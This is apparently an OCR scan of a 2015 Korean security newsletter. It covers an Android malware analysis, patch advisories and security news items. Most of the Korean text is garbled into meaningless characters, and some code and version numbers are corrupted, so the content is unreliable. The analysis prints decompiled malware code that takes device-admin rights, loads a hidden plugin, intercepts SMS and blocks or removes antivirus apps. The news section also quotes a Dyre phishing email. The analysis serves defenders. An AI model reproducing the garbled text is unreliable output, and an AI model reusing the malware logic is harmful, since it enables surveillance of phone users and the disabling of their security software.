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APKE F44517| fJol CIZItUS HA| 51 APK Protect= Q1510 1229} 20| Y7 AT} 2O0|X| §h=C. THof ZLIHTO|
COE A S 32 Elﬁﬂf% KHA|7H =IX] 4=t O 22| Zatk= 7t HTHe| CHIMAE 018510 =2 21t 0|c}, 12|10 +
HEC| MRS AMSSI0E LR CALIY X = SelA71 4717| = Sit,

e com =-8 com
=-H exam ple.plugin_base & 8 exam.ple.plugin_base
- [3) BuildConfig - [1] BuildConfig
=[5 R =[] R
={ B goog.android =i # goog.android
- [J) HostBase &[] HostBase

w |'_J Plugm Base
&=

D
#- [ BuildConfig
@[3 MDAR
@ [J] MainService
- [1) Myhctivity

@R
[ [J] ScreenReceiver

(23 2] CizTe Wl

9| T2 29] R2&2 APK Protect HI{3t $ CIZIIQUS AW X0j= Utilshs SHAS| 7 Oi2ts S ¥ 4 ULk

O3 32 Y| IHUHAE T LIZ2| YF0|0 AT HH AE:| HRIE FefjA= MyActivityeh=s SeiA S & o= UL

<applicacion
android: labe l="@7F050000"
android: icon="@7F020000"
android:allowClearUserbaca="false"
>
<activity
android: label="@7F050000"
android: icon="87F020000"
| android: name="com. ndar . ofm.app. AyActivicy™ |
android: excludeFromRecents="crue®™
>
<intent-filcer
>
<action
android:name="android.intent.acvion. MAIN"
>
</action>
<category
android: name="android. intent . category. LAUTNCHER"
>
</category>
</intent-filter>
</mctivity>
<service
android: name="com. ndar . ofm. app. HainService”

(28 3] NE ZOUE F2HA

CHSO| T8 4= AER| BOIE TTE HOIFH QNS 717 |H2XIR S5 oHs MHIAS TSots FE2 74 H0| ULk

package com.ndar.ofm.app;
import andreid.app.Retivity;

public class Myherivity extends Activity

l
public void onCreate (Bundle paramBundle)

{
super.onlreate (parambundle) ;

getBackageM () . s2LC EnabledSetting(get 0, 2, 1);
Dev:.ce?ollcy!{amqer localDevicePolicyManager = (DevicePolicyManager)getSystemService ("device policy”™):
Name local = pew O (this, MDAR.class):

if ({!localDevicePolicyManager.isAdminhctive (localComponentMName) )

{
Intent locallntent = new Intent("android.app.action.ADD DEVICE RDMIN");
locallntent.putExtra("android.app.extra.DEVICE ADMIN", localComponentHame);
starcActivityForResult (locallntent, 0);

¥

startService (new Intent(this, MainService.class));

finish{):

28 4] NE-| Z2AE
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CHS9| I8 5 MHIAS| AISt FER O WoK= YIOLt pdexS 2 oH= TES & 4 ULt

- [0 Utils

& ndar.ofm.app

a1 [1) BootReceiver
w- (1) BuildConfig
w1 MDAR

- [4] MainSenvice
1) MyActivity
MR

- 4] ScresnReceiver

public void enCreate()
{

super.onCreate();

setPlugin(Utils. createPlugininstance(this, "p.dex"}):
1

public void cnDestrov()
{
if (this.plugin != null)
this.plugin.onDestroy();
super.onDestroy();
starcService (new Intent(this, MainService.class));
}

public int onStartCommand (Intent paramIntent, int paramlr
{
super.onStarcCommand (paramIntent, paramIntl, paramInt2]
return 1;

!

public void setPlugin(FluginBase paramPluginBase)
{
if (paramPluginBase !'= null)

if (this.plugin '= null)
this.plugin.onDestroy():
this.plugin = paramPluginBase;
paramPluginBase.onCreate (this):
}

i

(23 5] MH|A A E FE

p.dexd}?{0l= PluginOl2k= SeiA7t EXSHH ofgdWe| ZE l= 0] FA0 FRE|0] UL ThS2| O3 62 p.dex2| CIATIA

FEE BOF1 ot

=-[4] Plugin -
=@ Plugin

&F Command

G GetContactsinfo

(3 MsgSender

G5 SMS

% BUFFER : bytel]

& HOST : String

5 PREFS_DEVICE ID  String

«8 PREFS_FILE : String

28 SMS_SEND_ACTICN : String
_addressCache : String[]
_cmdCache ; List<Plugin.Comma
_loadAddressTime : long

& _rominfo : String

_version : int

backlist : String[]

battery : int

handlerThread : HandlerThread

% isDialogShown ; boolean

lockScreen : boolean

msgSender : Plugin.MsgSender

newPackageList : Stringf]

$ packageList : String(]
pluginHost : HostBase
preferences © SharedPreferences
receiver ; BroadcastReceiver
service - Service
timer : Timer
timeraction : String
timerintent : Pendinglntent

<5 uuid : UUID

&5 uuidBasedd | String

& wakeLock : PowerManager.Wakel

-@ Plugind =

T S e Ty

Bb‘bg‘bbbbb

BoRop 9

-

| Plugin.class x| Plgin$3si.cass |

25 SMS_DELIVERED_ACTION : String| |

public wvoid onCreate (fostBase parambostBase)
{
this.pluginfiost = paramiostBase;
Service localServicel = (Service)paramHostBase.getContexc();
this.service = localServicel;
h locals 1 = this.szervice.getSharedPreferences ("pref=, 0);
this,.pref = lpcalSharedPreferencesl;
Plugin.i locall = new Plugin.l(this, "msg_handler"):
this.handlerThread = locall;
this.handlerThread.starc();
IntentFilter locallntentFilterl = new IntentFilter("android.provider.Telephony.SMS RECEIVED"):
locallntentFilterl.zetPriority (214T483647);
locallntentFilterl.addCategory ("android.intent.category. DEFAOLT")
Service localService? = this.service;

Broad Receiver localB:

iverl = this.receiver;

Intent locallntentl = localServicel.registerReceiver{localBroadcastReceiverl, locallntentFilterl);
Service localServiced = this.service;

Broad Receiver localB: iver? = this.receiver;

IntentFilter localIntentFilter2 = new IntentFilter ("android.net.conn.CONNECTIVITY_CHANGE") ;

Intent locallntent2 = localServiced,registerReceiver{localBroadcastReceiverz, 1ncalln:en|:Fiq:er2!:
Service localServiced = this.service;

Bre iver localBr iver3 = this.receiver;

IntentFilter locaiIntentFilter3 = new IntentFilver("android.intent.action.BATTERY_CHANGED"):
Intent locallntent3 = localServiced.registerReceiver{localBroadcastReceiver3, locallntentFilter3);
Service lecalService$ = this.service;

BroadcastReceiver localBroadcastReceiverd = this.receiver;

String strl = this.timerRecticn;

IntentFilter locallntentFilterd = new IntencFilter(scrl);

Intent locallntentd = localServiceS.registerReceiver(localBroadcastReceiverd, locallntentFilterd):
Service localServiceé = this.service;

BroadcastReceiver localBroadcastReceiverS = this.receiver;

IntentFilter locallntentFilter5 = new IntentFilter("android.sms.message.action.SMS_SEND");

Intent locallntentS = localServicef.regi Receiver (localBroadcastReceiver5, locallntentFilter5);
Service localService? = this.service;
B d Receiver localk: d R iveré = this.receiver;

IntentFilter locallntentFilteré = new IntentFilter("android.intent.action.USER PRESENT™);

Intent locallntenté = localService7.registerReceiver(lccalBroadcastReceiveré, locallntentFilteré):
IntentFilter locallntentFilter7 = new IntentFilter():
locallntentFilter7.addhction("andreid.intent.action.FRCKAGE ADDED");

[33 6] P.dex2 T FE
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ol 7152 I8 710t 22 T2 719 E0f A 0] == Wo| HjQlelHO|
= u}
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Hef HHE Yalist| Aol =

public void run()
{
int F=0dg
String strl = Plugin.getTopActivityName(this.this$l.thiss0.service);
int j:
int k7
label47: int n;
if (({strl '= null) =&s&| {strl.startsWith("com.estscft.alyac.ui™}})
{
Fr=ag
if ({strl == null) || (!strl.contains("packageinstaller.Uninstallerfctivity"))
break label20d;
k=1;
if (k !=0)
{
String[] array0fString = Plugin.packagelist:
int m = array0fString.length;
n=0;
label65: if (n < m)
k
String str2 = arrav0fString[n];
if ('Plugin.isAwilible(this.thia$l.this$0.service, str2))
break label2lZ;
k=0;
1
1
if ({strl == null) || (!strl.contains(".DeviceRdminAdd"))

break label22l;

1
while (true)

{
boolean bool = this.thisfl.valfdevicePref.getBoolean("mdar™, 0);

if ({i '= 0) &&= {'bool))

if ({j = 0) s& {k = 0) s& {i = 0})

Intent localIntentl = new Intent("andreid.intent.action.MAIN™);

Intent localIntent2 = localIntentl.addCategory({"android.intent.category.HOME™) ;|
Intent localIntent3 = localIntentl.addFlags {268435456);
thig.thigsl.this$0.service.startActivity({localIntentl);

23 71 g HA 2y ZE
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HZ0| X|2 AlGY ol 2E s

210{lM 22t oFgAl2| X|= A Yol T == H|wX ZHEHSHHOICE =7|H7T 0] bW MERIERE T2 Xz M3l Aol ZEE
i A7\ QUCt CFS O3 82| IEE MII=IE“‘| Z7| A2t gl HEEPHHE |0 e, SUIX| Od2] wils ZX[SHl X2
O

{
int j = 1;
if (j == @)
{
if ((strl == null) || (!strl.contains("packageinstaller.Uninstalleractivity")})) {
break label233;
i
m= 13
if (m 1= @)
{
String(] arrayOfString = a.A;
int n = arrayOfString.length;
il = e;
if (i1 < n)
{
String str2 = arrayOfString[il];
if (!a.a(this.a.b.c, str2)) {
break label239;
m=8;
}
if ((m {= @) && (2.a(this.a.b.g, "com.ashnlab.v3mobileplus"))) {
int iz =w;
}
}
¥
if (§ 1= @) {
break label2S4;
¥

if ((strl == null) || (!strl.contains(".DeviceAdminAdd”})) {
break label24d;
¥
k = this.a.2.getBoolean("mdar™, 8);
if ((1i==8) || (k!=@)) {}
}
label233:
label239:
label248:
label254:
for (i =9;; i = k)

if (i ==28) {

return;
}
Intent localIntentl = new Intent(“android.intent.action.MAIN");
Intent locallntent2 = locallntentl.addCategory("android.intent.category . HOME");
Intent locallntent3 = locallntentl.addFlags({268435456);
this.a.b.c.startActivity({locallntentl);

(23 8] JHE A= U3 Wi 2=

HIE 7["S AESHRIEE 2 E2| 7140] TFE AT UC OFf 113 92| AU AAIE2IE 0186 0120 SHHA FOHEO|
2 = JERIX| M3t

[iEw Threadlnew el]
i
public void run()
{
try
£
((DevicePolicyManager)AndroidSystemServices.this,getSystemService("device_policy"});
new Comp Name (AndroidSystemServices.this, MyDeviceAdminReceiver.class);
AndroidSystemServices.this.getTopTask();
return;

¥
catch (Exception localException)

localException.printStackTrace();

}
1) .start();
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if (strl.egqualslgnoreCase("com.ahnlab.v3mobileplus.antivirus.V3MPlusAVRTSResultActivity™)) {
return;

if (strl.tolLowerCase().contains{"deviceadmin"})

AdminAction();
return;

3
if ((i == 3) &% (str2.tolowerCase().contains("subsetting”)))

notAdminAction();
return;

} while (strl.tolowerCase().contains("uninstalleractivity"));

(23 10] 29| HEHIEY H|L

public void onClick(View paramView)

i
GeneralUtil.uninstallAPK(this, “"com.ahnlab.v3mobileplus");

}

(23 11] Hd A7 715
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- EHTAIE
https://helpx.adobe.com/security/products/flash-player/apsh15-18.html

20154 78 Oracle Critical Patch Update &1
Oracle Critical Patch Update(CPU)= OracleAtl] MIES AL 2 Cf4=0| Hot IX|E UHSH= £2 +HY

Oracle CPU 2 0], £ SATEL| EO 2 QI5t Tfsh7 | 0 dEl= HE Oracle MiZ2| TS FFE0H CHet IHX|E AT

- ANHE
20154 728 Oracle CPUMIAI= Oracle AEAL FIES| HOEEOFE 1937100 CHSH HX|S LEE!

0

- 84 ¥ 22 342 S510] FYT MHE SAGH=H U E 7H5-80] Us FPEE EESI0 DBL| 718 X 712H/FEYN HHAE E+ UE

3ok Zx

S AT EQN

~ Application Express, version(s) prior to 5.0

- Oracle Database Server, version(s) 11.1.0.7, 11.2.0.3, 11.2.0.4, 121.01, 12.1.0.2

- Oracle Fusion Applications, version(s) 11.1.2 through 11.1.9

— Oracle Fusion Middleware, version(s) 10.3.6.0, 11.1.1.7, 11.1.1.8, 11119, 111.2.2, 1211, 121.2,121.3
— Oracle Access Manager, version(s) 11.1.1.7, 11.1.2.2

- Oracle Business Intelligence Enterprise Edition, version(s) 11.1.1.7, 11119

- Oracle Business Intelligence Enterprise Edition, Mobile App version(s) prior to 11.1.1.7.0 (11.6.39)
— Oracle Data Integrator, version(s) 11.1.1.3.0

- QOracle Directory Server Enterprise Edition, version(s) 7.0, 11.11.7

- Oracle Endeca Information Discovery Studio, version(s) 2.2.2, 2.3, 2.4, 3.0, 3.1

- Oracle Event Processing, version(s) 11.1.1.7, 12.1.3.0
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- Oracle Exalogic Infrastructure, version(s) 2.0.6.2

- Oracle GlassFish Server, version(s) 2.1.1, 3.01, 3.1.2

- Oracle iPlanet Web Proxy Server, version(s) 4.0

- Oracle iPlanet Web Server, version(s) 6.1, 7.0

- Oracle JDeveloper, version(s) 11.1.1.70, 111.2.4.0, 121.2.00, 121.3.00

- Oracle OpenSS0, version(s) 3.0-05

~ Oracle Traffic Director, version(s) 11.1.1.7.0

- Oracle Tuxedo, version(s) SALT 10.3, SALT 11.1.1.2.2, Tuxedo 12.1.1.0

- Oracle Web Cache, version(s) 11.1.1.70

- Oracle WebCenter Portal, version(s) 11.1.1.8.0, 11.1.1.90

- Oracle WebCenter Sites, version(s) 11.1.1.6.1 Community, 11.1.1.8.0 Community, 12.2.1.0

— Oracle WebLogic Server, version(s) 10.3.6.0, 121.1.0, 12.1.2.0, 12.1.30

~ Hyperion Common Security, version(s) 111.2.2, 11.1.2.3, 11.1.2.4

— Hyperion Enterprise Performance Management Architect, version(s) 11.1.2.2, 111.2.3

- Hyperion Essbase, version(s) 11.1.2.2, 11.1.2.3

— Enterprise Manager Base Platform, version(s) 11.1.0.1

- Enterprise Manager for Oracle Database, version(s) 11.1.0.7, 11.2.03, 11.2.04

- Enterprise Manager Plugin for Oracle Database, version(s) 12.1.0.5, 12.1.0.6, 12.1.0.7

- Oracle E-Business Suite, version(s) 11.510.2, 12.0.6, 12,11, 12.1.2,12.1.3,12.2.3, 12.2.4

- Oracle Agile PLM, version(s) 9.3.4

- Oracle Agile PLM Framework, version(s) 9.3.3

- Oracle Agile Product Lifecycle Management for Process, version(s) 6.0.0.7, 6.1.0.3, 6.1.1.5, 6.2.0.0
- Oracle Transportation Management, version(s) 6.1, 6.2, 6.3.0,6.31,6.3.2, 6.33,6.3.4,6.3.5,636, 637
- PeopleSoft Enterprise HCM Candidate Gateway, version(s) 9.1, 9.2

- PeopleSoft Enterprise HCM Talent Acquisition Manager, version(s) 9.1, 9.2

- PeopleSoft Enterprise PeopleTools, version(s) 8.53, 8.54

- PeopleSoft Enteprise Portal - Interaction Hub, version(s) 9.1.00

— Siebel Apps — E-Billing, version(s) 6.1, 6.1.1, 6.2

- Siebel Core ~ Server OM Svcs, version(s) 8.1.1, 8.2.2, 150

~ Siebel Ul Framework, version(s) 8.1.1,8.2.2, 15.0

- Oracle Commerce Guided Search / Oracle Commerce Experience Manager, version(s) 3.0.2, 3.1.1,3.1.2, 11.0, 111
- Oracle Communications Messaging Server, version(s) 7.0

- Oracle Communications Session Border Controller, version(s) prior to 7.2.0m4

- Oracle Java FX, version(s) 2.2.80

- Oracle Java SE, version(s) 6u95, 7u80, 8u45

- Oracle Java SE Embedded, version(s) 7u75, 8u33

- Oracle JRockit, version(s) R28.3.6

— Fujitsu M10-1, M10-4, M10-4S Servers, version(s) XCP prior to XCP 2260

- ntegrated Lights Out Manager (ILOM), version(s) prior to 3.2.6

— Oracle Ethernet Switch ES2-72, Oracle Ethernet Switch ES2-64, version(s) prior to 1.9.1.2
- Oracle Switch ES1-24, version(s) prior to 1.3.1

- Oracle VM Server for SPARC, version(s) 3.2

- SPARC Enterprise M3000, M4000, M5000, M8000, M9000 Servers, version(s) XCP prior to XCP 1120
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— Solaris Cluster, version(s) 3.3, 4.2

- Sun Blade 6000 Ethernet Switched NEM 24P 10GE, version(s) prior to 1.2.2
- Sun Network 10GE Switch 72p, version(s) prior to 1.2.2

- Secure Global Desktop, version(s) 4.63, 4.71, 5.1, 5.2

- Sun Ray Software, version(s) prior to 5.4.4

- Oracle VM VirtualBox, version(s) prior to 4.0.32, 41.40, 42,32, 43.30

- MySQL Server, version(s) 5.5.43 and earlier, 5.6.24 and earlier

- Oracle Berkeley DB, version(s) 11.2.51.29, 11.2.5.2.42, 11.2.5.3.28, 121.6.0.35
% Fefd= AA”S A HEE FIANIES FX

- SHZEY
A RtC 2 M "Oracle Critical Patch Update Advisory - July 2015" 2ME ZESIT HIEAL YU SX|24AKQ HO|/HE £ HXIME 2%
JAVA SE AtEAL= EXIE BiZe] £[L YH|0IES CHR22 = 'Ot EX[5LE, Java AFSYIHI0IE 2dS B

- HIAIE
http://www.oracle.com/technetwork/topics/security/cpujul2015-2367936.html
http://www.oracle.com/technetwork/java/javase/downloads/index.html
http://www.java.com/ko/download/help/java_update.xml

Ol

HAQI|A QO|FE A3 FoH HOIYHO|E 1

FEIARERS| 22 S 20|A T2 O30 2| FEARM0| 7hssh FoFE0| E7E

- BZXH= S0P Z33 UHOIR| YR KE EE Y AME, MY, HHel 23 S8 Soi S45P ZME BAE HOHES RE610 YAES
MY 4 U

r

rok

- MHEHE
o= ATEQN
SHRARIA 2014 RALIA 2010 RALIA 2007
- 25 94 91.0.2654 O|HHZE - 55 Q4 8581533 0| HHE - 55 847512713 0| A
- 512 91.0.2509 0|HHH - 32 85.81471 O|HHHA - 812 7512.721 O|HHH
- 5h4 91,0.2515 ORI - 5hd 8581383 O|FIHHE - M 7512778 O A
- St 91.0.2596 O|FIHE - St 8,5.81527 O|FHH - HSlide 7,512,921 O|&HH
- oifgH

SENHFE SHOX|0A HOIAEI0|E MUS 2F CHREE WOt -MRI5H Sk UX| = HE(ELH3022 YH0|E
- 22 E AR : http://www.hancom.com/downLoad.downPU.do?med=005

SENHFE XS YH0IES Sl ZLHFCE YH0|E

- A% —HE D23 — SHENHFEH — SE0HFE X1E YH0|E
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oB AF QUICIE

J SETREE
[#] 23 3= gEoE

4

3

YHoE Fr 3 .

y 5t 204 2005
|| sEema g g FEELNS AES SHOIE UL

- EIAIE

http://www.hancom.com/downLoad.downPU.do?mcd=005

MS Font E2I0|H HATE A3 L F2fH HOIAG0|E
01|32 AZEL Font S210JHUA HZTE AS0] 758t Al FHOPHS SRSt L0t IHRIS W
TR oE HOIHOR S45PH TAE 2ALH I HOIXIS HIAH AHSKIC| SRS Q510 AHYTE Q: Ths

- SMIEE
= AZEQY
- Windows Vista Service Pack 2
- Windows Vista x64 Edition Service Pack 2
- Windows Server 2008 for 32-bit Systems Service Pack 2
- Windows Server 2008 for x64-based Systems Service Pack 2
- Windows Server 2008 for Itanium-based Service Pack 2
- Windows 7 for 32-bit Systems Service Pack 1
- Windows 7 for x64-based Systems Service Pack 1
- Windows Server 2008 R2 for x64-based Systems Service Pack 1
- Windows Server 2008 R2 for Itanium-based Systems Service Pack 1
- Windows 8 for 32-bit Systems
- Windows 8 for x64-based Systems
- Windows 8.1 for 32-bit Systems
- Windows 8.1 for x64-based Systems
- Windows Server 2012
- Windows Server 2012 R2
- Windows RT
- Windows RT 8.1
- Windows Server 2008 for 32-hit System Service Pack 2(Server Core installation)
- Windows Server 2008 for x64-based System Service Pack 2(Server Core installation)
- Windows Server 2008 R2 for x64-based System Service Pack 1(Server Core installation)
- Windows Server 2012(Server Core installation)
- Windows Server 2012 R2(Server Core installation)
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- oigy
Windows Xt& CI0|EES SE YH|0|E HA|
- XI5 HHI0|E : Al — B2E T2 73 — Windows Update 213

- ZTARIE
https://technet.microsoft.com/en-us/library/security/MS15-078

PHP File Manager £} F2| #11
H=2e 5ot AMEE A8 25 I (Sjimen Ruwhof)= 7|8t File ManagerZ AFE2E)= Revived Wire Mediaiit2] PHP File Manager
Of|Af BHE=04, I CHRE S FOFY 52 1874 FofEs U

- HMER
S 2Ot L0 E7} UEE|X] 220t TX|7HUE & T7EX| PHP File Manager AHS XHH|

- ol EH
S 218 SRI7H SIS THIHK], Et File Manager ALS

ESTSOﬂ' %E%QE:‘_/\'I copyright by Estsoft Corp.All rights reserved.



Part3. 22t 0|7 E&7|

PIE 20| E stagefright O|C|0f 2t0|E2{2] F2FH F2| 1,
QHEE0]|=2| 0|C|0] DfUEHA, 0|0|X| 5) ME EHESH= stagefrightOilM Ci2| H= QHEES FUF0| WHE

- A
SZRP} oY D|Cjo] THU0| Z3HE MMS HIAXIS AE20|= ADLE 7|7]0f &8 3L AHEAIS| IX| g0 YT EL| R2E & H30| 7tks

- dMER
SOt YE|0|E7H UEE T K] MMS EXH 44 BFE XS 0N 8 422 1
- EXHMIX] 01F ME -) Hiir HE 22! -) 83 - MMS iS4 Higkdst
X HEAEE 22X} HAX] Y2 H tiw X702 5 UZ
T AEZ0|EE HZAN= 2Ot AEI0[ES JHUS UM 2AZE 2Ot YH|OIERE S=XXC 2 BiHESIT S
- GH0|E7t WHE F2 HIZAHE Y20|= E2TIME Saf 2L Hello12 &0|=
X =U HIZARR HE0|E7t 2izE 3% &% MHSX| 0 E

ADIEE 0|8} 100H QT-210fl [Mf2} ADIEES AL

@ 2fpiAet2 0fZ2H(0 1 THRZ =61 2471

@ L[ == Gl= AOIE YESIK] 2471

@ ELIR10| 2B LE 2alAn)z HAIK] & B MRS |
@H|ZHs 43 7IsE 018011l Y7 M= H|EHs HEsp|
®EFFA IS & 74 UEHHO|AE ALZAOIR 7=7|
®0|45H0| X5 E 3 Y9I AR 216P|
@L2ECSHIZ H0|2A RFE AARSHZ At8ap7|

® PCOjI= Sz 2 T3 AX[ot F7|H2 2 Hi0[2{A HAlSH |
@ ADIEE S3Z2| F28 Y= BHGIK| %7

(0 2SN R LR 2 TS S 2| HE2E YC|0|E 57|
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1.Z00H

Ceh 2| O|HYS Soll =8 F2| RXS EPICE ZHHAI7|= Dyre

Dyre Threat — Infected Emails Diversify Tactics to Target Thousands of Users, Bitdefender Finds

S42 8 S0R012 Dyrelf TS24 AT AR 4 ISR 0| ABULE 4 vl ONNLE S7IeiT 2L O
0l0] =2IS/T B! Of4+2] S HILQ! 2 M2 HILSHL U, FS 7H2HE U2 37| Ash ALSKI0IH HE UaIUS e
$ 271501 YIS o HASIRAT TR T HIUOHS h exe TIAO| TSI HTH0| FLE0] UL 0] Yoz Fst
SR 2AO| TP OJRE HERHZRHE LIS SI0|M S Y2 IS S8 Mol 2okl LIZSe

ABHUE UACH

Wed 01,07.2015 18:54
hilda <hilda

Further to telephone discussion

| Qllst_for_the_iuémal office.zip (25 KB)

Further to Thursday Skype discussion kindly furnish individual information indicated in the documents attached here.

Please be notified that details are of great importance the financial department in order to finish internal formalities.

Kindly also send us an extract of passport.

Provided that Your colleagues have any problems regarding sending of mentioned information at the earliest convenience please contact our contract branch colleagues.
Jane Roberts

Tax Consultant

HFIAC 23 exe IHU2 CI2ZL HS 6HH, Dyreza ‘W EZ0|S01E HX| H LABICE

2014201 XMz 2AE Dyzes AB=2 Zeuset BSOS A7 | AHLIS ARSAL ARE HX[oHH, ALSAPE S8 7[H0IL £F
AOIENIM S8 EEE U HOZ gt Hot. SHXS2 ST S4S So1K A IHIAIREEES FU6lH S8EEE XL
A0 FYSICE O] 2E IFY2 AEAP 2 A TIRYE,

UISCIcie| PP RIS CaColol S5 8 B2 21510, ERA BAOISS) 252 QRIS 013, 23 54 W0k, 57
20jLjo}, ZAQ| 2 7|BS0] EFH0| Sk

0j=: Bank of America, Citibank, Wells Fargo, JP Morgan Chase
B= Barclays, Royal Bank of Scotland, HSBC, Lloyds Bank, Santander
=21 Deutsche Bank, Valovis Bank, volkswagenbank.de

o
@
L
@® 3= Bank of Melbourne % ING, Citibank, HSBCS| 22 X[

HIECIHIC] GITLA0| TI29, B 3UE0H 19,000742] O O|HIYO| Oj=, CHEE B2, B0k, BIAIL £2, 312, B2, 55 S0l YXIsHs
AT AH{OIA] HLPECET BiC,

&3 : http://www.hotforsecurity.com/blog/dyre-threat-infected-emails-diversify-tactics-to-target-
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600TB2| MongoDB HIO|E{H|0|A, ‘A2’ QIE{LlI0f F-= i
600TB MongoDB Database ‘accidentally’ exposed on the Internet

NoSQL MongoDB H0|E{t|0]A 2] THX| E|X| 242 1 S AFZS Q4= AIAH B2|XHS0| 600 TB2| MongoDB HO[EH|0|AS
FE AR A 9SINLE

QLEAAQ MongoDBE 71 Q17|Q4= NoSQL HIO|E{H|0|AZ, eBay, Sourceforge, The New York Times ! LinkedInS CH¥st
THEO| MH[AOM AHE &[T QULCE,

Shodan CHE?! John Matherly= 30,00001 71712 MongoDB QIAEIA T} OFRE Q15 I Q10| QIEHIE Salf S7HE2 2 FZ0|
7+S3CD YRk

0] Ol#+= 2012\ 280} A2t FFNHO 2 U E|UXITH MongoDBL| 7HUXIE0] 0] oS IHX[SH=| 2\ 0[AH0] Z# Z0|Ct,
MongoDB2] ¥k k= 72 IS mongodb.confol ‘bind_ip 127.0.0.1 S AI0| 17| THE0i|, O] ANEI0]| CHEH QUXIGHK| LT U=
B2 HMH2 2 |X2 MHE F2SH & 4= Tt

MongoDB2| 2.6 0| HZIS0| F&S = A2 LRGN, HEE2| MongoDB {AS0| X 2.4.9, 2410, 2.6.72 AHESI
UCED SrRACE ot Habs B M2 A 2 HEC = YT0|1= 517|& HEIISIRLL

MongoDB QIAEAT} QIR0 RF E 22 0[2H0] XF0]| OtL|H, X[t 2&0{= 40,0007H0f| 7F7H2 MongoDB QIAEASO|
QIEfHIC = F0| 7hS3HCL

EX : http://thehackernews.com/2015/07/MongoDB-Database-hacking-tool.html

7|=Xt D& ALO|EQI O] OHC|= SHE
Online Cheating Site AshleyMadison Hacked

2221 72X}t 0fE AFO|EQ! AshleyMadison.com?] H|0|E{2] U7t SHFHSO 2fs 221210) {5 =IUCE SHFHS2 oE2] OiCiE2
S5 GIOJE] HIO|A, ZH| 7|5 % CIE 57 HEE 25 SAHWCID FA6HT QUCE OFF] 371 EIX| 2 RE=20| 371 & 42, 0]
AH[A2| 37007 TZ4S0| B 2 ISHE S A= HOICE 0] IiE MH|AL| S22 “OVM2 BELICH HIZ IML.” O

05H01| Avid Life Media(ALM)OJIA] EX{LH LIS D12} HIO|E{E ZIKSH 8= KA ‘The Impact Team'0[2F AZHEHCE AVME Of&2]
OjCi&S 2850 CHE OiE AtO|EQ! Cougar Life, Established Meng 2F511 = ESE0]| 2IXIEH SAIOICE

SHHS 2 4TI0IHO| 7I7t2 3IRIS £ YR 0| HIO]E ETFOtL2t S|AF LS AMHO| B, 20| HIESIT APY FE, 3IAF 23 Azt HE,
20 HE S2 FEUCHD SIAUCE ESH 02| UICIE2 SIS T2 HES 2G| MX[GH=0| $198 275HKIT SHHES
3S0| =2 XI=8H 20T 312 FE7HAVM HIO[EH|O|AMA] REHS| MIHX|X] QAT ZEIZHCE

The Impact Team= AVMO| “O] ‘Full Delete’ 7|52 S5104 2014S0412t $1707F (QF 1964 AE)Q| 0SS S7ICt SIX|2H ofj=2]
DHC}E0| Sl EE MASIRCHE A2 25 HAOIUCE” “HEEC| SIS LBIIERE HAIE o, 152|710l 715 ¥ AH| 0|52t
FAL ORESHHE 25| XIX[X| EACE 0] HES2 0E2| IiCIE 31#S0| =8 XIS5H0] MHsI AUE 713 Z28H HEY
20| = ZOICE 11 YRACE.

EESH"AVMO]| Ashley Madison2t Established Men AIO|EE H#5| Hi2SH2HD QFMCL JX| M, 22l= o&2] miCiE
SISO UL HE FE UHES 2B UBFIE el 715, M| 0|8 X FAE ZESH RN 2T A BE 7|53 X0 2M %
O|HIYE S7HE ZOICE” "ALMS HOtS F&3HIX|T XIZXIX| 2UCL 22]2| DB HI0| 2E S| T2HS 7IX[1 lon, o]
OHCI0] A& AH|AE XI&SICHH 01E S7HE Z40|Ch 37008t 0[A2| SIS 2 THEE OI=, HLICH| 73=6HH, =0| OfF B e
U= ANHSS ZEISH 1 & SH3ict

0| ALM2 0| B0 Chgt JdBES S70510] SHZ ATEHOH| CHEH Ak S B EISHEt HOIS 57| 2ol (=2 SO[2t HRiCh

&% : https://krebsonsecurity.com/2015/07/online-cheating-site-ashleymadison-hacked/
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= SY2Y ZHHZRN| “e-pay” 0flM 2l2ieh FUH LA | EXIRISS SOI0 S AFERE

E—
-
QU= 3o

TiT ez REXNRRE : FBERIEEERFHERRE

68 SR, 78 427K, 532 S22 DS 2 E2| t50f A =0| =t ot 20| 2SI

O] AAS2| SSH2, 0| AZIE2 25 HZ[ALS0]| 2fott] H2E H0|H, ZAIISE UCHA HIZ 7S & 4 U= "e-pay'E
O[E3CH= FoICt HERS2 SYXQ Z2E S5t At QSHSE 712 &8 tiZ0| AH =5 22 == UAT 20Ch A
BARIS 2, 22| 7FHZN EARISHSE RS HE 2 7156ks F0| 2HEH, 2AIRIS2 SZ0IM &8 7128 4 7| T2
Sk FIRI0] EXHSHL SIACE SWEAIE O A2 TSHAS 2 25 S22 124 F2F OfL2t, Xto|L ZHf SLALE AFEsk=
TZHO|ICY, B OIS 2 RIO|Lt ZHIUOM HIScH= "R RS MHIA0| BRI 7IUE(0] QUUCH,

EX : http://www.ithome.com/html/it/163720.htm
SAIC MOTOR2} 3600| =&AIE LT,
A5 E36051E 12 BEMRET

W2 ITH7 [FS2 ADETLEM AIABS MESP| fioi ==ok U= 712, SAIC MOROTS} 3600 HEHEAIE ST A0ETH=
a7 42| 0] ==, SAIC MOTOR:= CHAZHS| ¥ UHIASO0| U= 3602 =K O RS ARH0 H|Hst2{ 1 5h= 20|t

O] F0{| == SAIC 7|2 ajuttiet "QIES XESK" 9 2HAE 4SS W1, F2 XISXI0) B0 U= OE2/AH01 R MH|A
SH0|M2| EHS S2SHACE 0[0f] XE7| SAIC MOTORS| Miz=2 MIZ2 YlHHIe| “YunOS™E BIHE Z0[2f1l SIR2H, HIH|0]E,
a|didt F£AF, gaode GPS, Y|ttt 22tRE HFE St SAIC MOTORS| FE5E/HE, XISX} AH|A SHS2| MU|AE HIS5HH
ADETFARBARSOIA O L2 MB|AS XIS 20212 SHct

£X : http://auto.sdchina.com/news/201507/292009.html
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ADERTFUF2MS AFEISHIIAH Y O

ZEBHFUFMRITEN =270y TA—IUISER

TRAAIEOIs) 7228 ADIERERUPSHS HIZSI0] TAH0| ST UCH FOIE Sl2k SIS AMGIACE
I} B2 SR3 BX, ANERE FUFSYO 20| SR BRILICY 2H= HSOR EXBICE HY LIS NARI| ZAERY|
TH20) RAHEE SHOI5I2H= LIOIXIE, HIU| K027} QHISHIR AL AIARO| OFA0| HAI0] EI17| TR0 A 527
£'S Y20|2 HAIHARS FHO| 0| HCH= S30| UCk

0| 7 XHE! URLS 224512 THIAIOIE R 0SS/, ALSXI7I SHE THAAIOIS0A Y215t BE HESS S3Ze ST IS U
29Uk

THAAOIES PISE 1 BQIE WAO|E2: 70| BISIZ AOIE2| URLO| ‘http://bk mufgjp***uno/"

